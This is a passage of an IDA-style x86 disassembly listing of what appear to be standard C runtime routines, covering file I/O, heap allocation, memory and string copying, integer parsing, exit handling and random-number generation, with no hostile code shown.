lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA27: ; CODE XREF: sub_41B9C0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B9C0 endp
; =============== S U B R O U T I N E =======================================
sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+5809p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41BA50
or eax, 0FFFFFFFFh
jmp short loc_41BA8A
; ---------------------------------------------------------------------------
loc_41BA50: ; CODE XREF: sub_41BA3B+Ej
test al, 83h
jz short loc_41BA88
push esi
call sub_41E42B
push esi
mov edi, eax
call sub_41E3C5
push dword ptr [esi+10h]
call sub_41E312
add esp, 0Ch
test eax, eax
jge short loc_41BA76
or edi, 0FFFFFFFFh
jmp short loc_41BA88
; ---------------------------------------------------------------------------
loc_41BA76: ; CODE XREF: sub_41BA3B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41BA88
push eax
call sub_41BA91
and dword ptr [esi+1Ch], 0
pop ecx
loc_41BA88: ; CODE XREF: sub_41BA3B+17j
; sub_41BA3B+39j ...
mov eax, edi
loc_41BA8A: ; CODE XREF: sub_41BA3B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41BA3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40A928+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41BAF7
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_41BABD
push esi
call sub_41E717
pop ecx
test eax, eax
push esi
jz short loc_41BAE9
push eax
call sub_41E742
pop ecx
pop ecx
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BABD: ; CODE XREF: sub_41BA91+14j
cmp eax, 2
jnz short loc_41BAE8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_41BAE8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41F4C9
add esp, 0Ch
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj
; sub_41BA91+44j
push esi
loc_41BAE9: ; CODE XREF: sub_41BA91+20j
push 0
push dword_4DD384
nop
call near ptr 27F0000h
loc_41BAF7: ; CODE XREF: sub_41BA91+Aj
; sub_41BA91+2Aj ...
pop esi
leave
retn
sub_41BA91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p
; ___:0040FA8Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41BB1E
xor eax, eax
jmp loc_41BBC7
; ---------------------------------------------------------------------------
loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB31
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j
mov ecx, [ebp+arg_0]
loc_41BB3D: ; CODE XREF: sub_41BAFA+35j
; sub_41BAFA+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB6F
mov eax, [esi+4]
test eax, eax
jz short loc_41BB6F
cmp ecx, eax
mov edi, ecx
jb short loc_41BB54
mov edi, eax
loc_41BB54: ; CODE XREF: sub_41BAFA+56j
push edi
push dword ptr [esi]
push ebx
call sub_41CD20
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BB6F: ; CODE XREF: sub_41BAFA+49j
; sub_41BAFA+50j
cmp ecx, [ebp+arg_C]
jb short loc_41BBA2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41BB85
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41BB85: ; CODE XREF: sub_41BAFA+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
test eax, eax
jz short loc_41BBCC
cmp eax, 0FFFFFFFFh
jz short loc_41BBD2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BBA2: ; CODE XREF: sub_41BAFA+78j
push esi
call sub_41F8E3
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41BBD6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41BBBA: ; CODE XREF: sub_41BAFA+73j
; sub_41BAFA+A6j
cmp [ebp+arg_0], 0
jnz loc_41BB3A
mov eax, [ebp+arg_8]
loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj
; sub_41BAFA+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41BBD6
; ---------------------------------------------------------------------------
loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj
or dword ptr [esi+0Ch], 20h
loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j
; sub_41BAFA+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41BBC7
sub_41BAFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41D9B3+35p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41BBFD
push [ebp+arg_4]
call sub_41BEB5
pop ecx
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41BC12
push [ebp+arg_0]
call sub_41BA91
pop ecx
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BC12: ; CODE XREF: sub_41BBE2+20j
mov eax, dword_4DD388
cmp eax, 3
jnz loc_41BD22
loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BCFE
push [ebp+arg_0]
call sub_41E717
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41BCD9
cmp esi, dword_4DD380
ja short loc_41BC92
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41EF20
add esp, 0Ch
test eax, eax
jnz short loc_41BC8E
push esi
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BC92
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BC72
mov eax, esi
loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj
push eax
push ebx
push edi
call sub_41CD20
push ebx
call sub_41E717
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41E742
add esp, 18h
loc_41BC8E: ; CODE XREF: sub_41BBE2+74j
test edi, edi
jnz short loc_41BCD5
loc_41BC92: ; CODE XREF: sub_41BBE2+62j
; sub_41BBE2+81j
test esi, esi
jnz short loc_41BC99
push 1
pop esi
loc_41BC99: ; CODE XREF: sub_41BBE2+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DD384
nop
call near ptr 2800000h
mov edi, eax
test edi, edi
jz short loc_41BCD5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41BCC1
mov eax, esi
loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj
push eax
push ecx
push edi
call sub_41CD20
push [ebp+arg_0]
push ebx
call sub_41E742
add esp, 14h
loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj
; sub_41BBE2+D0j
test ebx, ebx
jnz short loc_41BCFA
loc_41BCD9: ; CODE XREF: sub_41BBE2+56j
test esi, esi
jnz short loc_41BCE0
push 1
pop esi
loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
nop
call near ptr 28A0000h
mov edi, eax
loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j
test edi, edi
jnz short loc_41BD1B
loc_41BCFE: ; CODE XREF: sub_41BBE2+43j
cmp dword_4DBE48, 0
jz short loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BC20
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj
; sub_41BBE2+123j ...
mov eax, edi
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BD22: ; CODE XREF: sub_41BBE2+38j
cmp eax, 2
jnz loc_41BE3D
cmp esi, 0FFFFFFE0h
ja short loc_41BD3F
test esi, esi
jbe short loc_41BD3C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41BD3F
; ---------------------------------------------------------------------------
loc_41BD3C: ; CODE XREF: sub_41BBE2+150j
push 10h
pop esi
loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj
; sub_41BBE2+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BE1F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41F472
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41BE03
cmp esi, dword_43CE74
jnb short loc_41BDC7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F83A
add esp, 10h
test eax, eax
jz short loc_41BD8D
mov edi, [ebp+arg_0]
jmp short loc_41BDBF
; ---------------------------------------------------------------------------
loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j
push edi
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BDC7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDA6
mov eax, esi
loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j
test edi, edi
jnz loc_41BD1B
loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj
; sub_41BBE2+1B6j
push esi
push 0
push dword_4DD384
call near ptr 2800000h
nop
mov edi, eax
test edi, edi
jz short loc_41BE1F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDE8
mov eax, esi
loc_41BDE8: ; CODE XREF: sub_41BBE2+202j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
jmp short loc_41BE17
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
call near ptr 28A0000h
nop
mov edi, eax
loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj
test edi, edi
jnz loc_41BD1B
loc_41BE1F: ; CODE XREF: sub_41BBE2+162j
; sub_41BBE2+1F8j
cmp dword_4DBE48, 0
jz loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BD3F
jmp short loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BE3D: ; CODE XREF: sub_41BBE2+143j
; sub_41BBE2+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41BE67
test esi, esi
jnz short loc_41BE4B
push 1
pop esi
loc_41BE4B: ; CODE XREF: sub_41BBE2+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
nop
call near ptr 28A0000h
test eax, eax
jnz short loc_41BE7D
loc_41BE67: ; CODE XREF: sub_41BBE2+260j
cmp dword_4DBE48, 0
jz short loc_41BE7D
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BE3D
loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj
; sub_41BBE2+134j ...
xor eax, eax
loc_41BE7D: ; CODE XREF: sub_41BBE2+16j
; sub_41BBE2+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BBE2 endp
; =============== S U B R O U T I N E =======================================
sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41FD3D
test eax, eax
jnz short loc_41BE8C
retn
; ---------------------------------------------------------------------------
loc_41BE8C: ; CODE XREF: sub_41BE82+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41FBCD
add esp, 10h
retn
sub_41BE82 endp
; =============== S U B R O U T I N E =======================================
sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+57DDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BE82
add esp, 0Ch
retn
sub_41BEA2 endp
; =============== S U B R O U T I N E =======================================
sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40A928+63p ...
arg_0 = dword ptr 4
push dword_4DBE48
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41BEB5 endp
; =============== S U B R O U T I N E =======================================
sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap
; sub_41D9A5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41BEF0
loc_41BECE: ; CODE XREF: sub_41BEC7+27j
push [esp+arg_0]
call sub_41BEF3
test eax, eax
pop ecx
jnz short locret_41BEF2
cmp [esp+arg_4], eax
jz short locret_41BEF2
push [esp+arg_0]
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BECE
loc_41BEF0: ; CODE XREF: sub_41BEC7+5j
xor eax, eax
locret_41BEF2: ; CODE XREF: sub_41BEC7+13j
; sub_41BEC7+19j
retn
sub_41BEC7 endp
; =============== S U B R O U T I N E =======================================
sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DD388
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41BF17
cmp esi, dword_4DD380
ja short loc_41BF49
push esi
call sub_41EA6B
test eax, eax
pop ecx
jz short loc_41BF49
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BF17: ; CODE XREF: sub_41BEF3+Dj
cmp eax, 2
jnz short loc_41BF49
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41BF2C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41BF2F
; ---------------------------------------------------------------------------
loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj
push 10h
pop esi
loc_41BF2F: ; CODE XREF: sub_41BEF3+37j
cmp esi, dword_43CE74
ja short loc_41BF56
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
test eax, eax
pop ecx
jnz short loc_41BF65
jmp short loc_41BF56
; ---------------------------------------------------------------------------
loc_41BF49: ; CODE XREF: sub_41BEF3+15j
; sub_41BEF3+20j ...
test esi, esi
jnz short loc_41BF50
push 1
pop esi
loc_41BF50: ; CODE XREF: sub_41BEF3+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41BF56: ; CODE XREF: sub_41BEF3+42j
; sub_41BEF3+54j
push esi
push 0
push dword_4DD384
call near ptr 2800000h
nop
loc_41BF65: ; CODE XREF: sub_41BEF3+52j
pop esi
retn
sub_41BEF3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41BFC3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41BFB7
neg ecx
and ecx, 3
jz short loc_41BF99
sub edx, ecx
loc_41BF93: ; CODE XREF: sub_41BF70+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41BF93
loc_41BF99: ; CODE XREF: sub_41BF70+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41BFB7
rep stosd
test edx, edx
jz short loc_41BFBD
loc_41BFB7: ; CODE XREF: sub_41BF70+18j
; sub_41BF70+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41BFB7
loc_41BFBD: ; CODE XREF: sub_41BF70+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BFC3: ; CODE XREF: sub_41BF70+Aj
mov eax, [esp+arg_0]
retn
sub_41BF70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFD0 proc near ; CODE XREF: ___:004016C0p
; ___:004016DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41C053
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41BFF4
shr ecx, 2
jnz short loc_41C061
jmp short loc_41C015
; ---------------------------------------------------------------------------
loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj
; sub_41BFD0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41C022
test al, al
jz short loc_41C02A
test esi, 3
jnz short loc_41BFF4
mov ebx, ecx
shr ecx, 2
jnz short loc_41C061
loc_41C010: ; CODE XREF: sub_41BFD0+8Fj
and ebx, 3
jz short loc_41C022
loc_41C015: ; CODE XREF: sub_41BFD0+22j
; sub_41BFD0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41C04E
dec ebx
jnz short loc_41C015
loc_41C022: ; CODE XREF: sub_41BFD0+2Bj
; sub_41BFD0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj
test edi, 3
jz short loc_41C044
loc_41C032: ; CODE XREF: sub_41BFD0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41C0C6
test edi, 3
jnz short loc_41C032
loc_41C044: ; CODE XREF: sub_41BFD0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41C0B7
loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj
; sub_41BFD0+F4j
mov [edi], al
inc edi
loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj
dec ebx
jnz short loc_41C04B
pop ebx
pop esi
loc_41C053: ; CODE XREF: sub_41BFD0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C059: ; CODE XREF: sub_41BFD0+A9j
; sub_41BFD0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C010
loc_41C061: ; CODE XREF: sub_41BFD0+20j
; sub_41BFD0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C059
test dl, dl
jz short loc_41C0AB
test dh, dh
jz short loc_41C0A1
test edx, 0FF0000h
jz short loc_41C097
test edx, 0FF000000h
jnz short loc_41C059
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C097: ; CODE XREF: sub_41BFD0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj
xor edx, edx
mov [edi], edx
loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j
; sub_41BFD0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41C0C1
loc_41C0B7: ; CODE XREF: sub_41BFD0+79j
xor eax, eax
loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41C0B9
loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j
and ebx, 3
jnz short loc_41C04B
loc_41C0C6: ; CODE XREF: sub_41BFD0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41BFD0 endp
; =============== S U B R O U T I N E =======================================
sub_41C0CE proc near ; CODE XREF: sub_41C159+4p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41C0D6: ; CODE XREF: sub_41C0CE+34j
cmp dword_43D084, 1
jle short loc_41C0EE
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C0FD
; ---------------------------------------------------------------------------
loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 8
loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej
test eax, eax
jz short loc_41C104
inc edi
jmp short loc_41C0D6
; ---------------------------------------------------------------------------
loc_41C104: ; CODE XREF: sub_41C0CE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41C114
cmp esi, 2Bh
jnz short loc_41C118
loc_41C114: ; CODE XREF: sub_41C0CE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41C118: ; CODE XREF: sub_41C0CE+44j
xor ebx, ebx
loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj
cmp dword_43D084, 1
jle short loc_41C12F
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C13A
; ---------------------------------------------------------------------------
loc_41C12F: ; CODE XREF: sub_41C0CE+53j
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj
test eax, eax
jz short loc_41C14B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41C11A
; ---------------------------------------------------------------------------
loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41C154
neg eax
loc_41C154: ; CODE XREF: sub_41C0CE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41C0CE endp
; =============== S U B R O U T I N E =======================================
sub_41C159 proc near ; CODE XREF: ___:00401527p
; sub_401ACD+717p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41C0CE
pop ecx
retn
sub_41C159 endp
; ---------------------------------------------------------------------------
mov eax, off_43AE1C
test eax, eax
jz short loc_41C16F
call eax ; sub_41D124
loc_41C16F: ; CODE XREF: ___:0041C16Bj
push offset dword_429028
push offset dword_429014
call sub_41C24C
push offset dword_429010
push offset dword_429000
call sub_41C24C
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41C1B3
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41C1A2 proc near ; CODE XREF: sub_41E2C9+1Cp
; sub_422DFC+21E6p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41C1B3
add esp, 0Ch
retn
sub_41C1A2 endp
; =============== S U B R O U T I N E =======================================
sub_41C1B3 proc near ; CODE XREF: ___:0041C199p
; sub_41C1A2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DBE24, edi
jnz short loc_41C1D0
push [esp+4+arg_0]
nop
call near ptr 27505F0h
push eax
nop
call near ptr 27409C5h
loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DBE20, edi
mov byte_4DBE1C, bl
jnz short loc_41C224
mov eax, dword_4DD39C
test eax, eax
jz short loc_41C213
mov ecx, dword_4DD398
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41C212
loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41C207
call eax
loc_41C207: ; CODE XREF: sub_41C1B3+50j
sub esi, 4
cmp esi, dword_4DD39C
jnb short loc_41C1FF
loc_41C212: ; CODE XREF: sub_41C1B3+4Aj
pop esi
loc_41C213: ; CODE XREF: sub_41C1B3+3Cj
push offset dword_429034
push offset dword_42902C
call sub_41C24C
pop ecx
pop ecx
loc_41C224: ; CODE XREF: sub_41C1B3+33j
push offset dword_429040
push offset dword_429038
call sub_41C24C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41C24A
push [esp+4+arg_0]
mov dword_4DBE24, edi
nop
call near ptr 77E75CB5h
loc_41C24A: ; CODE XREF: sub_41C1B3+85j
pop edi
retn
sub_41C1B3 endp
; =============== S U B R O U T I N E =======================================
sub_41C24C proc near ; CODE XREF: ___:0041C179p
; ___:0041C188p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41C251: ; CODE XREF: sub_41C24C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41C264
mov eax, [esi]
test eax, eax
jz short loc_41C25F
call eax
loc_41C25F: ; CODE XREF: sub_41C24C+Fj
add esi, 4
jmp short loc_41C251
; ---------------------------------------------------------------------------
loc_41C264: ; CODE XREF: sub_41C24C+9j
pop esi
retn
sub_41C24C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C266 proc near ; CODE XREF: ___:004013B0p
; ___:004014B6p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C2A6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C2B3
; ---------------------------------------------------------------------------
loc_41C2A6: ; CODE XREF: sub_41C266+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C2B3: ; CODE XREF: sub_41C266+3Ej
mov eax, esi
pop esi
leave
retn
sub_41C266 endp
; =============== S U B R O U T I N E =======================================
sub_41C2B8 proc near ; CODE XREF: ___:00401266p
; sub_401ACD+315Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43AE00, eax
retn
sub_41C2B8 endp
; =============== S U B R O U T I N E =======================================
sub_41C2C2 proc near ; CODE XREF: ___:loc_401379p
; ___:loc_4016A7p ...
mov eax, dword_43AE00
imul eax, 343FDh
add eax, 269EC3h
mov dword_43AE00, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41C2C2 endp
; =============== S U B R O U T I N E =======================================
sub_41C2E0 proc near ; CODE XREF: ___:0040134Ep
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41C35A
mov dh, [ecx+1]
test dh, dh
jz short loc_41C347
loc_41C2F8: ; CODE XREF: sub_41C2E0+52j
; sub_41C2E0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41C31A
test al, al
jz short loc_41C314
loc_41C309: ; CODE XREF: sub_41C2E0+32j
mov al, [esi]
inc esi
loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj
cmp al, dl
